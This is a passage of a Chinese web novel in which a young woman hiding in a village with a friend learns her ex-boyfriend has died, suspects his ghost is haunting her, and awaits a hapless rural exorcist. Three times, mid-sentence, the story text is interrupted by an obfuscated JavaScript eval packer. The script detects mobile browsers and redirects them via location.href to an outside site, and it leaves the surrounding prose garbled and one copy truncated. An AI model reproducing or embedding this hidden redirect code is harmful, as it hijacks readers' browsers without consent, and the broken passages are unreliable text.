他转身欲走,又突然停住脚步,回过头来,拿出手机对着崔茸挥了一下,“加个联系方式呗,方便联系,省的我大热天的还要出来跑一趟。” 这是正当理由,崔茸没拒绝,她一向是手机不离身的,解锁扫码后加了好友,陆奇文点了通过后才离开。 等他走后,陆珈珈从冰箱里拿出西瓜,这是中午切成两半放进冰箱里的,被冻得凉丝丝的,两人拿着勺子,一人抱着一半西瓜吃起来。 崔茸是沙瓤派,陆珈珈则是脆西瓜派,两人都不会挑西瓜,基本上都是在超市里看个差不多大小的拿了就走,切开的时候和开盲盒没什么区别。 今天崔茸运气不错,家里的讨厌鬼捉弄的是陆珈珈,这个西瓜还是她喜欢的沙瓤的。 高温天气下,吹着空调来一口冰冰甜甜的西瓜,简直是人间仙境。 西瓜吃到一半,崔茸发问:“你和那个陆奇文熟吗?我看他流里流气的,该不会是来骗我们钱的吧?” 陆珈珈思考了半天,也没思考出个所以然来:“我不造啊,我和他一起玩,那还是没上学之前的事了,都过了那么多年,女大十八变,男大肯定也十八变啊,他小时候就很调皮,现在坑蒙拐骗也说不定。” 崔茸又吃了一口西瓜,最甜的那部分吃完了,现在都是靠近皮的位置,没有那么甜了,她皱皱眉:“也只能走一步看一步了,去见他介绍的那个大师的时候,我们俩得机灵点,更不能去什么偏僻的地方。” 陆珈珈点点头,剩下的西瓜她们俩都不想再吃,索性用刀切成几瓣,最近天气炎热,偷狗的都不来了。大黄正在门口肆意撒欢。 崔茸叫了一声,大黄就摇着尾巴欢快的跑过来了,低头快速吃起了西瓜,西瓜皮被啃得很干净。 天彻底黑下来后,陆奇文有了动作,他拉了一个小群,里面只有三个人,除了他和崔茸,还有一个头像一看就很傻帽的人。 崔茸一直认为,当代社会,头像就是人在网络上的脸,现实生活里这张脸是爹妈给的,只能做优化,但网络世界里的脸——也就是头像,却是自己选的,更难体现出一个人的品味。 有些头像,崔茸看了第一眼就不会再想和他说一句话,用那些猎奇头像的人,更是看一眼就想拉黑。 陆奇文找来的这位大师,先不说是不是真大师,这头像有一种浓厚的时代气息,不知道被反复上传反复下载了多少次,包浆感很重,虽然是个可爱小动物的漫画形象,但却一点都不可能,次牙咧嘴贱兮兮的,像是那种四十岁左右一事无成整日在网络上撩闲嘴贱调戏美女歧视帅哥引起对立的中年男人。 崔茸把陆珈珈拉进了群,陆珈珈也不免以头像取人:“这什么鬼啊,真不是在村里莫名其妙找个老大叔来糊弄我们的吧?” 崔茸叹口气:“万一人家是真人不露相呢?” 她还是恭恭敬敬叫了句大师,将自己遇到的情况一板一眼全都讲出来,那位大师说话倒是很客气:【不用叫我大师,我叫李常青,你叫我的名字就行。】 【你们先不用害怕,这鬼应该对你们没有恶意,不是恶鬼。】 【不过人鬼殊途,这么一直缠着你们也不是一回事。】 【这样吧,我过去一趟,帮你们劝劝这鬼,尽量别动干戈,把他劝走。】 他说话还算靠谱,不是一上来就自吹自擂惹人厌烦。 崔茸:【那真是谢谢您了,等解决好了,必有重谢。】 李常青: 【姑娘实在是太客气了,我们修行之人,斩妖除魔在所不辞,哪里需要什么重谢。】 还姑娘呢,这都是哪辈子的称呼了,还是个古风大师,不过不要重谢? 难道不是骗子? 也不一定,说不定是在以退为进呢。 果不其然,过了几分钟后,大师又发来消息了: 【实在不好意思,我囊中羞涩,所住地区又偏远,能否先报销一下车票钱呢?】 【共需要198元整(抱拳)(抱拳)(感谢)(感谢)】 崔茸犹豫了。 就算对方是骗子,也只骗两百块而已,她现在可是个八千万的富婆,现在手上还有个几十万的现金,可问题是,她现在都是用现金付账的,这现金也没办法在网络上转账给她啊。 她的银行卡里当然是有钱的,但她又怕一旦动了池鹤那条疯狗下一秒就跟来了。 陆珈珈道:“我转给他吧。都过了这么久了,你前男友那边也没什么动静,估计根本没想到我头上来。” 她看着余额里的数字,原本只有五百零几,这一转二百过去,就只剩下三百多块了,当即心疼得扑入崔茸怀里嘤嘤哭泣:“等你能大手大脚花钱了,一定要带我吃香的喝辣的的啊!” 崔茸点头,悲从心来,她可是有八千万的人呐,居然连两百块的转账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167015|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都拿不出来,能混成这样,也真是惨绝人寰了。 这八千万真是太不容易了,刚开始就跟池鹤他那个蛮横的妈讨价还价,费了好多口舌,后来在银行取钱又是用了一个多月。 她妈给的是现金支票,必须从银行当面取出再存进自己的银行卡。 而银行嘛,大家都懂得,你想存进去个几百万几千万,立马就能存进去,银行经理还要带着全体员工列队欢迎你这个大客户,但是要想一下子取出来几百万几千万,那可就费劲了。 经过一个多月的时间,崔茸才终于将这笔钱转入自己的账户。 真是成也前男友,败也前男友。 要不是池鹤,她一辈子光凭上班不吃不喝也攒不到八千万,但也正是因为池鹤这个死脑筋的家伙,她现在有八千万却不能花。 李常青飞速收了转账,又过了几分钟后,告诉她们已经定好车票了,今晚就出发,但因为要先走路去镇上,再坐车去县里火车站,要两天后才能到,也就是大后天晚上。 崔茸茸和陆珈珈吐槽:“这个李常青大师到底住在哪个山疙瘩里?” 陆珈珈道:“管他呢,只要他能来帮我们把那个讨厌鬼赶走不就行了吗?” 两人嘻嘻哈哈打了一会儿游戏,直到凌晨近三点才关灯睡觉。 上次买的老鼠粘板还在角落里放着,那只大老鼠再也没有出现过。 但就算它不出现,崔茸和陆珈珈也不敢打地铺了,只能蜷缩在沙发上将就着睡。 或许是刚才打的那两局游戏队友都是有菜嘴又臭让她很生气,或许是因为这沙发太小睡得不舒服,直到不知道谁家养的大公鸡“高高高”叫起来,她仍处于半梦半醒的状态之中。 模模糊糊睁眼,天色将亮未亮,她睡的这个沙发前似乎有一个黑影。 崔茸心里很惊慌,却怎么也控制不了自己的身体,别说从沙发上坐起来了,连完全睁开眼都做不到。 幸好这黑影只是在沙发前静静站着,什么也没有做,她能感受到他在望着她,但什么也做不了,似乎除了睡过去,根本没有别的选择。 不知道过了多久,她终于失去了意识。 睡到下午醒来,陆珈珈正在厨房忙活,她昨天被鬼整蛊,根本没吃多少,今天准备好好做几个大菜补偿一下自己。 崔茸醒来后,拿着刷牙杯子一边刷牙一边分享自己昨晚的遭遇,说完之后询问陆珈珈的意见:“你说那个鬼到底想干嘛啊?他昨晚站在那里看我不知道看多久,怪瘆人的。” 陆珈珈一边炒菜一边乱猜:“小孩儿鬼觉得无聊?” 崔茸反驳:“不可能是个小孩儿鬼,绝对是个男的,差不多有一八五……” 说刚说出口,她自己就沉默了。 池鹤就是一八五的身高。 还有这个幼稚鬼个性,真是怎么想怎么跟他相像。 但是不可能啊,池鹤还那么年轻,又没身患绝症,怎么可能会死? 9. 第 9 章 崔茸帮着端菜上桌,又盛好米饭。 今天的依旧是四个菜,蛋黄鸡翅、红烧排骨、香菜牛肉和水煮肉片。 全是肉菜。 崔茸道:“你也不怕缺乏维生素。” 陆珈珈夹了一筷子香菜到崔茸碗里:“这不是有绿叶菜吗?你多吃点补充维生素。” 崔茸看着白米饭上面的香菜,忍不住想到池鹤,别说吃了,他看到香菜就要狠狠皱眉。 吃完饭,陆珈珈躺在沙发上,光是米饭就吃了两碗,现在正撑得厉害,只能瘫在沙发上休养生息。 手机铃声响起的时候,她下意识就点了绿色的接通按键,“喂,你哪位?” 对面的人先是沉默,几秒后才开始说话,是温文尔雅的女声:“你好,你是崔茸的朋友吗?” 陆珈珈现在才反应过来,看了一眼来电显示,嚯,玉京,她马上想要挂断电话,那头的女声似乎也察觉到了,忙道:“别挂,我这边有很重要的事要和崔茸说,请您让她接电话好吗?” 陆珈珈用眼神询问旁边的崔茸要怎么做,她开了扬声器,崔茸一定也听到了。 崔茸想起玻璃上出现的笑脸,犹豫片刻还是从她手里接过了电话。 她刚才就听出来了,这个女声就是池鹤他妈徐韶。 崔茸很不喜欢她,但看在那八千万的份上,说话还是很客气的:“池太太,无事不登三宝殿,您又找我有什么事呢?” 那位趾高气扬的阔太太,此刻声音哽咽着,哪怕只听到声音,也能察觉她此时的悲伤和脆弱,这让崔茸有种不好的预感,面对徐韶的低声啜泣,她越发不耐烦起来:“我说池太太,我并不是你能倾诉的对象吧?有什么话你直说好吗?我虽然没有你有钱,但时间也是很宝贵的,没义务也不想这么陪你耗费下去呢。” 徐韶这才道:“崔小姐,实在是对不住,我太失态了,阿鹤他出了意外,年纪轻轻就去了,我作为母亲,实在不能抑制悲伤的情绪。” 池鹤真死了? 徐韶:“你也知道,阿鹤是真的喜欢你,他死之前还一直念着你。你能不能来看看他?他在黄泉之下也会开心的。” 崔茸从震惊中回过神来,却是想也没想就拒绝:“我们不是早就约定好了吗?你把支票交给我的那一刻,我和你、和池鹤之间就再无关系。” 徐韶不可置信道:“崔茸,你怎么能这样无情无义!” 崔茸没好气道:“你这人真有意思,我还没说你出尔反尔呢,你反倒指责起来我。没错我这个人就是无情无义,要不是无情无义,我会拿了你的钱分手吗?我的无情无义,不正是你希望看到的吗?” 徐韶声音弱下来,夹杂着浓浓的哭音:“崔茸,以前的事,都是我错了,我不该想着拆散你们,可我现在已经受到了老天的报应啊。我唯一的儿子没了,我现在是白发人送黑发人,你也该出气了。我求求你好吗,阿鹤那么喜欢你,我只不过是想你来他墓前祭拜一下,就这么一点小小的要求,你都不肯满足吗?” 崔茸冷道:“你的要求我为什么要满足?烦死了,以后不要打电话给我,我是不可能如你的意的。” 说完这句话,也不管徐韶再如何发疯,直截了当按了挂断,并利落拉黑,将手机还给陆珈珈,轻声道:“去营业厅新办一个号码吧,这个号码恐怕不能安生了。” 陆珈珈连连点头,看她脸色苍白如纸,小心翼翼问道:“你真的没事吗?” 崔茸没说话。 陆珈珈又道:“唉……死者最大,你和他除了他妈他家里,好像也没什么矛盾,要不然去看看吧?” 崔茸轻轻摇头:“我才不去,他妈可不是什么好人,我才不会相信她突然转性呢,虽然不确定池鹤是真死还是假死,但她找我去,肯定没有好事。” 陆珈珈没有再说什么,崔茸低头好久突然道:“家里盐和味精不是都没有了吗?我去村头的小卖部买几包回来吧。” 说完后她拿了零钱,飘似的出了门,现在是下午两点多,正是太阳最热烈的时候,手机天气预报上显示的温度也是三十六度,这绝对是高温天气了,但崔茸这个最怕热的人却一点儿都不觉得热。 道路两旁有树荫遮蔽,太阳光不能直射到人的皮肤上,但热浪确实防不胜防的。 崔茸觉得自己好像被热懵了,头脑里成了面粉和水的混合物,到了村头小卖部打开门走进去,乍一接触到空调的冷气,反而觉得不适应。 小卖部的老板就是陆大婶嘴里那个对陆大强有意思的孙寡妇孙秋月,村里大爷大妈们嚼舌根的时候总是提到她。 在老派人眼里,孙秋月死了丈夫,还每天涂粉抹脂打扮的花枝招展,浓烈的香水味出半里地都能闻到,毫无疑问是个不守妇道的坏女人。 至于孙秋月的守寡,不知道对于她来说是一件好事还是一件坏事,她虽然失去了一个平平无奇的老公,但却得到了了小几百万的赔偿款,别说是在村子里,在陆家镇都是富裕的了。 满陆家镇的店里,也只有她会不分白天晚上开空调。 崔茸能感觉到这个孙秋月不是很待见她,但无论是因为陆大强还是因为什么别的缘由,崔茸都没有和她掰扯的意思。 之前和陆大婶说什么农村空气好她喜欢农村只是顺水推舟的玩笑话,她可从来没想过在这里长久待着,自然也没兴趣和孙秋月发展什么爱恨情仇。 结了账孙秋月却没让她走,硬是要她在这儿歇一会:“你们城市里的姑娘就是身体弱不中用,就从家里往这能有几步地,你看看你这脸白的呦,赶紧坐下来歇歇吧。” 崔茸道:“我没事。” 孙秋月嗤笑道:“那有镜子你自己去照照,瞅瞅你那脸色,跟个纸扎人似的,要不是大白天的,我还真被你吓一跳。你老老实实坐着喝口水吧,回去路上要是出什么事,讹上我怎么办?” 这话崔茸不爱听,她可是有八千万,孙秋月怎么可能比她有钱,她需要讹孙秋月吗? “我只是心情不好而已,又不是身体有问题。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167016|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孙秋月:“呦,你相好的死了?” 反正孙秋月和她不熟,更不认识池鹤,她也没什么好藏着掖着的:“我前男友死了。” 孙秋月更不屑:“哎呦,你前男友死了你心情不好什么呀,不应该是放挂鞭炮庆祝吗?啧啧啧,年轻轻的小姑娘长得水灵灵的,还是个恋爱脑哟。” 崔茸被气到了:“就你不是恋爱脑,发财死老公不香吗?你还想找个傻子,你才是恋爱脑到家了,还好意思说别人。” 孙秋月却并不生气,看向她的眼光别有深意起来:“所以说你们小姑娘什么都不懂啊,傻子又怎么了,长得好看听话,最重要是个男人就行了。天底下的乌鸦一般黑,天底下的男人都一样,还不如找个听话的,好看还是加分项。” 崔茸:“那不找岂不是更好?” 孙秋月似笑非笑打量着她:“所以我说你还小不懂嘛。” 崔茸其实懂了,呵这个孙秋月果然很不正经,还用这个来调戏她。 她不想再跟这个自以为是的女人掰扯,站起来大步流星就走出去,这次孙秋月倒是并未阻拦。 真是笑话,她和池鹤谈了三年的恋爱,当然也不是高中生早恋一样拉拉手就算了,什么该做的都做过了。 不过孙秋月有句话说的倒没错,天下的男人都一样,池鹤这个狗在人面前装得光风霁月云淡风轻,私底下什么德行只有崔茸知道。 带着一股气回到家里,陆珈珈看她心情不好,也没和她搭话,只是默默在她面前放了一杯自制的西瓜牛奶。 自从上个星期买了个榨汁机,陆珈珈在家里没事就捣鼓自制饮料。 崔茸说了声“谢谢”后就一直在发呆。 好吧,她承认,池鹤突然就这么死了,她还是挺伤心的。 今天依旧是万里无云,所有的乌云都笼罩在她一个人头上。 等夜深了,崔茸却怎么也睡不着,沙发实在是小,她翻来覆去,怎么也找不到一个舒服的姿势。 对面沙发的陆珈珈应该睡熟了,呼吸平稳下来,嘴里不时有呢喃溢出:“肘子……鸡腿……排骨……” 真是个馋鬼,崔茸不由笑了一下。 接着就听她继续道:“你们也吃呀,爸,妈,我好想你们呀。” 崔茸笑不出来了,陆珈珈的父母死了,想见到再也不能,她的父母还活着,她却永远也不想再见她们。 月亮亮堂堂的,正好一抬头就可以从窗户看到。 小时候听老人说过,人死了就会变成天上的星星,陆珈珈的父母应该就变成星星在天上看着她了吧? 那池鹤呢? 池鹤会不会也变成了星星? 不一定,徐韶不一定打的是什么主意,说不定是看池鹤把她忘了,又想要回那八千万,或者更坏一点,把她骗过去。 玉京是她的地盘,自然是想怎么对付她怎么对付她。 月亮太亮了,亮到周围的星星都很黯淡。 她还是睡不着,索性起身。 10. 第 10 章 明月光撒到地上,像是秋天提前到了,地上覆了一层白色的霜,可她也没有什么故乡好思的。 崔茸已经不害怕了,她在院子里蹲下来,周围明明空无一人,她却不是在自言自语:“是你吗?” 没有人回答。 崔茸也不知道是他不在,还是她看不到他,毕竟去看戏那次,陆大强说看到了很多“人”,陆珈珈听到了陌生女人的说话声,只有她一无所觉。 就算池鹤在她面前,她看不见也是很有可能的。 崔茸哼了一声:“如果是你,一切都说得通了。毕竟你这样又幼稚又变态的狗,除了你估计也找不出第二个了。” 一阵风吹过,树叶哗啦哗啦作响。 崔茸好一会儿没说话,等到腿都蹲麻了才又开口:“我说的那句话就是话赶话,我没想真的让你去死的。” 两人的最后一通电话,崔茸那时候终于和徐韶谈妥了价格,迫不及待想去开始新生活,池鹤却压根不同意分手,还说了很多狠话,最后更是说做鬼也不会放过她。 崔茸就说:“那你就去死吧。” 这是她留给他的最后一句话,可没想到一语成谶,他居然真的死了。 崔茸有点讨厌自己的乌鸦嘴了。 “你到底在不在呀池鹤?” 还是没有回答,或许永远都没有人回答了。 ***** 陆珈珈次日醒来,看到院子里的崔茸吃了一惊,“你是今天早起了还是一晚没睡啊?” 崔茸恹恹的没回话。 陆珈珈便很识趣闭上嘴没再追问。 她挺能理解崔茸心情的,虽然她没有谈过恋爱,但池鹤又高又帅又有钱,对崔茸还那么好,他死了,崔茸就算嘴上不说,心里也一定很难过。 她总说自己和崔茸都命苦,这真的不是悲观,这就是事实。 她本人初中死爸高中死妈就不用说了,崔茸的那对父母就更不用说了,如果真要比的话,也不知道是自己惨还是崔茸惨,毕竟她爸妈活着的时候对她还是很好的。 崔茸的父母呢,自己穿的珠光宝气的,一看就挺有钱,但大一时的崔茸却和她一样忙碌,天天忙着打工赚钱。 和池鹤谈恋爱后,崔茸不用为吃饭发愁,但大三下学期的时候,她父母居然还跑到学校来,大闹老师办公室,说是要起诉学校,她们教养的好好一个清清白白的女儿,怎么来了大学,就被人家包养了呢? 当时这事闹得很大,池鹤和她们不是同一所学校,也过来解释了,被崔茸她妈劈头盖脸一顿骂,要不是老师们拦着,还要动手。 崔茸更是被亲妈指着鼻子骂不要脸,说自己花钱是让她来是来上大学的,不是来钓男人的。 可别人不知道,陆珈珈老是和崔茸一起打工,肯定是知道的,崔茸父母只付了第一年的学费,四千多块钱。 崔茸的情况还和她不一样,她能申请助学金,因为父母双亡学校有什么活动也都想着她,但崔茸父母健在,家里经济水平还不错,根本没人会觉得崔茸缺钱。 崔茸是花了池鹤的钱,但那是正常恋爱,你情我愿的,至于说的那么难听吗? 再后来,崔茸父母知道了池鹤家里有钱,又换了副嘴脸,说自家是传统人家,既然都闹到这个份上,必须得结婚。 池鹤同意等一毕业都结婚,这事才终于算是画上句号,崔茸之前就不跟家里联系,之后更是相当于断绝关系了。 陆珈珈猜,池鹤家里不同意两人的事,绝对有很大一部分原因是这两公婆。 将心比心,谈恋爱是两个人的事,结婚可是两个家庭的事情,谁会希望亲家是这种不要脸面的人? 哪有正常人会做出来这种事啊?崔茸当时才大三,在学校里还要待将近两年,这让老师同学们怎么看她啊? 她和崔茸没血缘关系都觉得心疼,崔茸父母倒好,一毕业就开始联系女儿,还说要起诉白眼狼,陆珈珈真的是开了眼,世间怎么会有这么不讲理的父母? 说句丧良心的话,老天真是没长眼,该死的不死,不该死的却死了。 陆珈珈平日里话很多,但真的不会安慰人,只能多做几个菜。 她其实不爱学习,努力读书只是没有别的选择,考试是她唯一的出路。 如果可以自己选择,陆珈珈倒是希望自己可以当一个美食博主,厨师太累了她受不。 幸好崔茸并没有消沉多久,她的伤心只有那一天,到晚上时就又重新充满活力。 太阳落下去,天色还未全黑,温度终于降了下来,秋天似乎有了影子。 陆大强在大门外快乐地喊:“珈珈妹妹和小崔妹妹,一起出来玩啊。” 他是快乐的也是孤独的,村里小一些的小孩子在外边儿玩,他凑过去也要一起,但他力气大人也高,明显和那些小孩儿不是一个量级的,无论是捉迷藏还是别的什么游戏,他都一骑绝尘,小孩子们完全不是他的对手,只能哇哇大哭,几次就不和他玩了。 大一些的孩子们呢,现在家家户户都有电脑和手机,他们早就学会了玩电子游戏,不出门也可过得很开心。 亲妹妹陆小丽一直挺嫌弃这个傻瓜哥哥的,自然更不会带着他玩。 所以陆珈珈崔茸回来之后,陆大强热情得很,经常来找她们。 如果以前,陆珈珈很愿意拽上崔茸去外头兜兜风,陆大强的游玩项目就是牵着大黄后到处乱跑。 崔茸倒是没觉得有什么,生出奇怪心思的是陆大婶,陆大强这个傻样,有时候连男女都分不清,更别说什么男女之情了。 出去透透气,心情说不定真的会好一点。 农村的喧闹和城市的喧闹完全是两回事。 城市路上的声音,多是汽车的喇叭声,而农村路上的声音就要丰富很多,不知名昆虫的鸣叫声,小孩的肆意尖叫,老人会聚在门口乘凉说三道四,还有各种动物的声音。 各家的狗居然是最乖的,麻烦的是东边人家养的大鹅,那雄赳赳气昂昂的架势,不知道的还以为这是一群霸王龙呢。 这群霸王鹅十分嚣张,路过的人就要恐吓一番,不过像是陆大强这种身强力壮的除外,鹅也都是欺软怕硬的。 小卖部的玻璃门敞开着,孙秋月和几个人正围坐在那里,她今天穿了一声鲜艳的红裙子,长度只到大腿。 虽说是长袖,别的地方也都没漏,但她身材丰满,这裙子又修身,她这么一穿上,可不就成了那些老人的眼中钉肉中刺吗? 陆大强却像是和她很熟似的,见到她连大黄也顾不上了,飞奔着上前:“秋月姐!” 走得近了,崔茸这才看清孙秋月旁边坐的都是些什么人,清一色的男人,还都是不怎么正派的男人。 她撇撇嘴,虽没说话,但嫌弃之色溢于言表。 陆珈珈同时也皱皱眉,每个村里都有那么几个无所事事的二流子,杀人放火不至于,但偷鸡摸狗没少干,她不喜欢这几个人,顺带对孙秋月的印象也不好起来,那些无聊的人嚼舌根时说的话也不是全错,这个孙秋月自身立的并不是那么正。 她冲着拿了一把糖酒欢天喜地恨不得认孙秋月当妈的陆大强喊:“大强哥,天都快黑完了,我们该回去了。” 陆大强还没说话,旁边的一个小黄毛就皮笑肉不笑开口:“这才几点啊珈珈,就着急回家啦?你也好久没回来了,正好过来,咱们说说话叙叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167017|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧啊。” 陆珈珈认出来了这小黄毛是谁,他叫陆建业,但人别说建业了,连个正经工作都没有,初中毕业后就整天无所事事了,现在就天天在家啃老。 他和陆珈珈一样年纪,生日只比她大一个月,因为没上学,没到十八岁就结了婚,去年刚到法定年龄补领的结婚证,但儿子都三岁了。 就算家里有老婆孩子,他还是这样一副不着调的样子,就算小时候也一起玩过,陆珈珈能喊陆奇文一声哥,对着陆建业却喊不出来,只是道:“咱俩又不熟,没什么好叙旧的。大强哥,你快点儿,要是再不回去,我可要跟婶子告状了啊。” 陆大强这才不情不愿往回挪。 陆建业却瞅着陆珈珈后边儿的崔茸贼笑:“珈珈你说的这是什么话啊?也就是你去外边儿上学,老不回家我们才疏远了,多聊聊不就又亲近了吗?你后面那位美女谁啊,介绍我们认识认识呗?” 陆珈珈道:“你儿子都快能打酱油了,还在这认识美女呢,也不怕嫂子生气?” 旁边几人却好像是听到了什么笑话一样,纷纷挤眉弄眼怪笑起来,在白色的灯光下显得格外讨厌。 陆建业“呵”了一声,那气势活像是楚霸王:“小丫头片子胡说八道什么呢?我一大老爷们,能怕一个女人?我结婚了,这边不还有几个老光棍吗?” 崔茸十分无语,在她看来,这几个人连傻子陆大强都比不上,农村除了生活不方便也没啥,最起码消费低,就是农村特产老光棍,简直令人作呕。 她扭头冲陆珈珈陆大强道:“赶紧走吧。” 敌众我寡,还是走为上计。 听她这么说,那几人却不依不饶起来,七嘴八舌道:“妹妹你这是什么意思?和咱们哥几个说说话都不行,也太不给面子了吧?” 好一群讨厌的老光棍! 孙秋月笑嗔道:“我说你们几个够了啊,人家是城市里来的姑娘,过来玩几天,家里有钱有势的,什么门当户对的男的不见过,哪能看上你们这几个货?” 陆建业道:“秋月嫂子你说的这是什么话?我们这几个货怎么啦?个顶个的有的是力气……” 趁着他们又开始不正经调笑起来,陆珈珈和崔茸一人拉着陆大强一人拉着大黄赶紧走了,索性这些人也并未再说什么。 回家后崔茸才道:“你们村里这都是些什么人啊?” 陆珈珈无奈道:“村里凡是有些上进心的年轻人,都去外边儿打工了,留在这种地没几个钱,也找不到什么正经工作,你想想还留着的能是什么人?” 崔茸道:“真无语。” 陆珈珈安慰道:“其实也没什么好害怕的,那些人都是怂蛋,也只能占占嘴上的便宜。” 崔茸道:“再等两个月我们走吧,回云陵还是去别的城市都行。” 陆珈珈点头:“好啊,你帮我还了助学贷款,我现在可还是欠你钱呢,肯定是你说去哪就去哪喽。我也不想在这儿呆了,买个快递还得去镇上拿,麻烦死了。” 两人商定好,两个月之后就离开。 毕竟池鹤死了,徐韶应该没有那样的耐心死磕到底。 陆珈珈的电话铃声又响起,她心头猛地一跳,今天没去镇上,自然也没去营业厅办电话卡。 她疑心这又是徐韶打过来的,早上就打过来一次,她没跟崔茸说。 看了一眼手机号码归属地,并不是玉京,她这才松口气,看着像是私人号码,犹豫片刻才选择接通,“哪位,有什么事吗?” 电话那头是个中年女人的声音:“唉你好你好,你是崔茸的同学吧?你先别急着挂电话,我是崔茸的妈妈啦,你把电话给崔茸,我有话和她说好吗?” 11. 第 11 章 陆珈珈大脑片刻宕机,别人是乌鸦嘴,她只是脑子里想想,怎么还想什么来什么呢? 幸好崔茸在院子里的浴室洗澡,陆珈珈深吸一口气,让自己冷静下来: “阿姨,看在崔茸的面子上,我喊你一句阿姨。事情崔茸不是都和你们说得很清楚了吗?你们愿意去哪儿告就去哪儿告,她早就和你们没关系了。我也是真的好奇,你们都有工作,又不是没钱,又不是老得动不了了,怎么就这么着急让崔茸给你们养老啊?真的如果崔茸不是你们捡来的话,你们还有一点良心的话,就不要再来纠缠她了行不行?” 电话对面的女声明显不高兴起来: “你说的这是什么话!什么叫纠缠,要不是我养着,崔茸能长那么大?她自己拿了八千万跑路倒快,这种好事是一点儿都没想着她亲爸亲妈啊?你把电话给她,我跟她说。” 陆珈珈忍着火气:“八千万?你梦里的八千万吧?” 崔茸妈嗤笑一声: “你现在还帮她瞒我呢?亲家母都告诉我了,她拿了人家八千万跑了。不过你也别反应这么大,这八千万我可没有要分的意思。池鹤那孩子英年早逝没了,崔茸可不能这么无情无义,人家要求也不过分,只是让她回去祭拜一下死者而已。” 徐韶还真是用心良苦啊,都联系到崔茸她妈了。 原本陆珈珈还觉得徐韶可能只是单纯为了满足儿子遗愿,但现如今看来,还真有那么些图谋不轨的意思了。 “还不过分,你个老东西去死吧。” 崔茸妈还在那头嚷嚷:“怎么说话呢你有没有家教啊……” 陆珈珈已经挂断了电话。 好吧,崔茸真是个小苦瓜,比她还命苦。 次日下午,这是陆奇文介绍的那位大师要到的时间,陆奇文骑着摩托,崔茸和陆珈珈骑着电动车,三人在火车站等了快两个小时,也没有见到李常青的身影。 如果说之前还是抱着试试看的态度,崔茸现在是真的很想见一见这位大师,她迫切想知道,现在缠着自己的这个莫名其妙的幼稚鬼是不是池鹤。 县城的火车站建得还不错,空调冷气很足,但等待区的椅子硬邦邦的坐得很不舒服。 终于,那个四人群聊里,大师李常青终于冒了泡: 【完了我买错车票了。】 【我现在在不知道什么地方了。】 崔茸一脸无语,抬头去看陆珈珈和陆奇文,她们俩脸上也是这样的表情。 陆珈珈开口问道:“奇文哥,你确定这人脑子没问题吗?车票买错了就算了,不知道在什么地方是什么意思?” 陆奇文脸上也有几分尴尬:“人家住在深山老林里,一辈子可能也没出来过几次,挺正常的。” 李常青: 【我现在该怎么办啊?要报警吗?】 崔茸无奈: 【你把你自己定位发过来,再把身份信息发过来,我们给你买票。】 李常青没有犹豫,直接把身份证拍照发了过来。 崔茸是彻底相信他不是骗子了,哪有直接把身份证发给受害者的骗子? 陆珈珈在购票软件上买了高铁车票,出发的时间在一个小时后,明天凌晨到。 就是这么一付完钱,陆珈珈的钱包就只剩五十块了,连三位数都没有。 李常青不好意思道谢后又发来消息: 【能再给我点前买吃的吗?】 【我带的东西昨晚就吃完了,我今天一直都没有吃过东西。】 陆珈珈只能把剩下的五十块也转给他,看着自己余额的几毛钱止不住的心酸。 身份证上的信息倒是很出人意料,不是个老大爷,看照片也不像个傻子,出生年月算一下,年龄也不过就二十四岁,还很年轻,长相也十分周正。 崔茸好心提醒: 【仔细一点,别上错车了。】 李常青立刻回复: 【不会的,错了检票的不会让我进去的。】 崔茸:…… 这么有经验。 预定时间是凌晨两点多到,求人家办事,肯定不能让他自己摸到村里。 崔茸也怀疑,以李常青,根本做不到一个人摸到村里。 她和陆珈珈道:“我们今晚就别回去了吧,要是接不到,我怕这位大师会走丢。” 陆珈珈点头:“好啊,旁边就是有家快捷酒店,我们去开个房间,等快两点的时候再过来。” 她扭头和旁边的陆奇文道:“奇文哥你先回去吧,今天的事麻烦你了。” 陆奇文却没同意:“你们两个女孩子大半夜在外面晃悠我能放心吗?再说了等李常青来了,你们怎么带他回去,电动车没法坐三个人吧?” 这倒也是。 陆珈珈现在是真的没钱了,崔茸把包交给她,让她去开两间房,开完之后把房间号发给她,她再偷偷溜上去。 陆奇文听完她们俩的大声密谋,眼神不对劲起来:“为什么你要偷溜上去?你该不会是什么杀了人的逃犯吧?” 崔茸没好气道:“我要是逃犯,第一个就捅你。” 陆珈珈和陆奇文先去开好房,崔茸也不能算是偷溜,光明正大走上去,酒店占了十二十三两层,大楼里人来人往,前台也记不住哪位是自己的客人。 崔茸刚才在楼底下买了一大袋子烧烤,又抱着大瓶的冰镇可乐。 陆珈珈做的饭虽然美味健康,但烧烤也着实引人惦记。 进去时陆奇文业在,正给陆珈珈讲他从事这个行业来的奇怪见闻。 